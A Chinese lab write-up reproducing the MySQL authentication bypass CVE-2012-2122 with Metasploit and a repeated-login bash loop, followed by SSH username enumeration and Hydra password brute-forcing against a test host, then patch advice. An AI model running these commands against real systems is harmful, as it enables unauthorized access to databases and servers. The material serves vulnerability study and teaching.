Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

admin 2024年11月11日23:30:12评论61 views字数 1669阅读5分33秒阅读模式

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

参考链接:

  • http://www.freebuf.com/vuls/3815.html

  • https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/

环境搭建

经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统,但也不知道是否一定能够成功,欢迎在Issue中提交更多测试结果。

执行如下命令启动测试环境:

docker-compose up -d

环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456

漏洞利用:

攻击机:kali-linux-2023.1(IP:192.168.1.10/24)

靶机:Ubuntu(IP:192.168.1.12/24)

先利用nmap扫描端口是否开放,以及版本是否符合漏洞要求

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

可以看到版本为5.5.23

此时打开msf,依次输入命令:
mfsconsole                                                 search cve-2012-2122

use 0                                                           show options

set rhosts 192.168.1.12                                run

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

此时我们只需要输入命令即可连接该数据库

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

但是该方法有时存在一定缺陷,使用bash命令更为方便

 for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.50.189 -P3306 ; done

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

经过多次输入后,就能进入该数据库了

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

刚才扫描时还有一个ssh端口的开放,利用openssh7.4(基于ssh协议的连接工具),检索之后在openssh7.7版本之前存在用户名枚举漏洞(CVE-2018-15473),该漏洞可以判断某个用户名是否存在于目标主机中。

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

利用msf进行操作,感觉漏洞实际作用不大,仅供参考

网上已经公开exp,利用CVE-2018-15473-Exploit

python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip

能更精确的猜解用户名

既然是SSH端口开放,那我们还需要检测它是否存在弱口令,这里采用hydra对此端口进行爆破

hydra -l root -P /home/shadows/passwd.txt  -v -t 10 ssh://192.168.1.12:22

字典的话则采用GitHub开源项目FUZZDicts即可,爆破结果:

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

在利用(vulhub官方给出的,使用ssh连接远程主机时加上“-o StrictHostKeyChecking=no”的选项,去掉对主机的验证检查

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected]:22

输入密码12345678即可连接

当然你也可以直接利用ssh username@ip连接,输入密码即可

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

后续操作就不多展示,只为复现漏洞

Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

修复建议:

mysql更新官方补丁,升级

ssh不使用弱口令,密码周期更换

原文始发于微信公众号(shadowsec):Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:30:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql 身份认证绕过漏洞(CVE-2012-2122)漏洞复现以及SSH爆破https://cn-sec.com/archives/2491796.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息